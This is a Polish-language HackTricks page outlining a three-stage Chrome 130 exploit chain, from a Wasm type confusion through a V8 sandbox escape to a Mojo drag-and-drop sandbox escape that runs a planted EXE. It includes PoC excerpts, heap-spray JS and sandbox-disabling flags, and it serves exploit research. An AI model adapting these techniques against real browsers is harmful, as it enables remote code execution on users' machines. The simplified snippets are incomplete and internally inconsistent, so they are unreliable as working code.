Chrome Exploiting

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Ta strona zawiera wysokopoziomowy, a jednocześnie praktyczny przegląd nowoczesnego przepływu pracy “full-chain” exploitation przeciwko Google Chrome 130, opartego na serii badań “101 Chrome Exploitation” (Part-0 — Preface). Celem jest dostarczenie pentesters i exploit-developers minimalnego tła niezbędnego do odtworzenia lub adaptacji technik dla własnych badań.

1. Podsumowanie architektury Chrome

Zrozumienie powierzchni ataku wymaga wiedzy, gdzie kod jest wykonywany i które sandboxes mają zastosowanie.

Układ procesów Chrome & sandboxes ```text +-------------------------------------------------------------------------+ | Chrome Browser | | | | +----------------------------+ +-----------------------------+ | | | Renderer Process | | Browser/main Process | | | | [No direct OS access] | | [OS access] | | | | +----------------------+ | | | | | | | V8 Sandbox | | | | | | | | [JavaScript / Wasm] | | | | | | | +----------------------+ | | | | | +----------------------------+ +-----------------------------+ | | | IPC/Mojo | | | V | | | +----------------------------+ | | | | GPU Process | | | | | [Restricted OS access] | | | | +----------------------------+ | | +-------------------------------------------------------------------------+ ```

Obrona warstwowa (defence-in-depth):

  • V8 sandbox (Isolate): uprawnienia pamięci są ograniczone, aby zapobiec arbitralnemu odczytowi/zapisowi z JITed JS / Wasm.
  • Renderer ↔ Browser split zapewniony przez Mojo/IPC message passing; renderer nie ma natywnego dostępu do FS/sieci.
  • OS sandboxes dodatkowo izolują każdy proces (Windows Integrity Levels / seccomp-bpf / macOS sandbox profiles).

Zdalny atakujący potrzebuje więc trzech kolejnych prymitywów:

  1. Naruszenie pamięci w V8, żeby uzyskać dowolny odczyt/zapis w heapie V8.
  2. Drugi błąd umożliwiający atakującemu ucieczkę z V8 sandbox do pełnej pamięci renderera.
  3. Ostateczna ucieczka z sandboxa (często błąd logiczny, nie naruszenie pamięci) w celu wykonania kodu poza Chrome OS sandbox.

2. Etap 1 – WebAssembly Type-Confusion (CVE-2025-0291)

Błąd w optymalizacji Turboshaft w TurboFanie błędnie klasyfikuje WasmGC reference types, gdy wartość jest produkowana i konsumowana we single basic block loop.

Efekt:

  • Kompilator pomija sprawdzenie typu, traktując reference (externref/anyref) jako int64.
  • Skomponowany Wasm pozwala na nakładanie nagłówka obiektu JS na dane kontrolowane przez atakującego → addrOf() & fakeObj() AAW / AAR primitives.

Minimalny PoC (wycinek):

(module
(type $t0 (func (param externref) (result externref)))
(func $f (param $p externref) (result externref)
(local $l externref)
block $exit
loop $loop
local.get $p      ;; value with real ref-type
;; compiler incorrectly re-uses it as int64 in the same block
br_if $exit       ;; exit condition keeps us single-block
br   $loop
end
end)
(export "f" (func $f)))

Wymuś optymalizację & spray objects z JS:

const wasmMod = new WebAssembly.Module(bytes);
const wasmInst = new WebAssembly.Instance(wasmMod);
const f = wasmInst.exports.f;

for (let i = 0; i < 1e5; ++i) f({});   // warm-up for JIT

// primitives
let victim   = {m: 13.37};
let fake     = arbitrary_data_backed_typedarray;
let addrVict = addrOf(victim);

Outcome: arbitrary read/write within V8.

3. Stage 2 – Ucieczka z piaskownicy V8 (issue 379140430)

Gdy funkcja Wasm jest tier-up-compiled, generowany jest JS ↔ Wasm wrapper. Błąd niedopasowania sygnatur powoduje, że wrapper zapisuje poza końcem zaufanego obiektu Tuple2 gdy funkcja Wasm jest ponownie optymalizowana gdy nadal znajduje się na stosie.

Nadpisanie 2 × 64-bitowych pól obiektu Tuple2 skutkuje read/write on any address inside the Renderer process, efektywnie omijając piaskownicę V8.

Kluczowe kroki exploita:

  1. Doprowadź funkcję do stanu Tier-Up przez naprzemienne uruchamianie kodu turbofan/baseline.
  2. Wywołaj tier-up, utrzymując referencję na stosie (Function.prototype.apply).
  3. Użyj Stage-1 AAR/AAW, aby znaleźć i uszkodzić sąsiedni Tuple2.

Wrapper identification:

function wrapperGen(arg) {
return f(arg);
}
%WasmTierUpFunction(f);          // force tier-up (internals-only flag)
wrapperGen(0x1337n);

Po korupcji posiadamy w pełni funkcjonalny renderer R/W primitive.

4. Etap 3 – Renderer → Ucieczka z sandboxa OS (CVE-2024-11114)

Interfejs IPC Mojo blink.mojom.DragService.startDragging() może być wywołany z Renderera z częściowo zaufanymi parametrami. Poprzez skonstruowanie struktury DragData wskazującej na dowolną ścieżkę pliku renderer przekonuje przeglądarkę do wykonania natywnego drag-and-drop poza sandboxem renderera.

Wykorzystując to możemy programowo „przeciągnąć” złośliwy plik EXE (wcześniej umieszczony w miejscu zapisywalnym przez wszystkich) na Desktop, gdzie Windows automatycznie uruchamia niektóre typy plików po upuszczeniu.

Example (simplified):

const payloadPath = "C:\\Users\\Public\\explorer.exe";

chrome.webview.postMessage({
type: "DragStart",
data: {
title: "MyFile",
file_path: payloadPath,
mime_type: "application/x-msdownload"
}
});

Nie jest potrzebne dodatkowe uszkodzenie pamięci – błąd logiczny pozwala na dowolne uruchamianie plików z uprawnieniami użytkownika.

5. Pełny przebieg łańcucha

  1. Użytkownik odwiedza złośliwą stronę.
  2. Etap 1: moduł Wasm wykorzystuje CVE-2025-0291 → V8 heap AAR/AAW.
  3. Etap 2: niezgodność wrappera uszkadza Tuple2 → ucieczka z sandboxa V8.
  4. Etap 3: startDragging() IPC → ucieczka z sandboxa OS i wykonanie payloadu.

Wynik: Remote Code Execution (RCE) na hoście (Chrome 130, Windows/Linux/macOS).

6. Konfiguracja labu i debugowania

# Spin-up local HTTP server w/ PoCs
npm i -g http-server
git clone https://github.com/Petitoto/chromium-exploit-dev
cd chromium-exploit-dev
http-server -p 8000 -c -1

# Windows kernel debugging
"C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\windbgx.exe" -symbolpath srv*C:\symbols*https://msdl.microsoft.com/download/symbols

Przydatne flagi przy uruchamianiu wersji deweloperskiej Chrome:

chrome.exe --no-sandbox --disable-gpu --single-process --js-flags="--allow-natives-syntax"

7. Renderer → kernel escape resource

Gdy exploit w renderer wymaga pivotu do kernela, który pozostaje wewnątrz profilu seccomp, wykorzystanie gniazd AF_UNIX MSG_OOB, nadal dostępnych w sandbox, zapewnia deterministyczną ścieżkę. Sprawdź poniższe studium przypadku dotyczące Linux kernel exploitation dla łańcucha SKB UAF → kernel RCE:

Af Unix Msg Oob Uaf Skb Primitives

Wnioski

  • WebAssembly JIT bugs pozostają niezawodnym punktem wejścia – system typów jest wciąż młody.
  • Uzyskanie drugiego błędu memory-corruption w V8 (np. wrapper mismatch) znacząco upraszcza V8-sandbox escape.
  • Słabości logiczne w uprzywilejowanych interfejsach Mojo IPC często wystarczają do final sandbox escape – zwróć uwagę na non-memory bugs.

Referencje

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks